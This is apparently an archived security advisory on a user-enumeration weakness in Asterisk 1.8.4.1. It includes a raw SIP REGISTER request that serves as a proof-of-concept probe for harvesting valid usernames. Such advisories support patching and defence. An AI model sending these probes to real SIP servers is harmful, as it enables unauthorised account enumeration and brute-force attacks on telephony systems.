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22 lines
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791 B
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source: http://www.securityfocus.com/bid/48008/info
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Asterisk is prone to a user-enumeration weakness.
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An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.
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This issue affects Asterisk 1.8.4.1; other versions may also be affected.
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REGISTER sip:192.168.2.1 SIP/2.0
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CSeq: 123 REGISTER
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Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
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User-Agent: TT
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From: <sip:500@192.168.2.1>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
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Call-ID: 2e2f07e0499cec3abf7045ef3610f0f2
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To: <sip:500@192.168.2.1>
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Refer-To: sip:500@192.168.2.1
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Contact: <sip:500@localhost>;q=1
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Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
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Expires: 3600
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Content-Length: 28000
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Max-Forwards: 70 |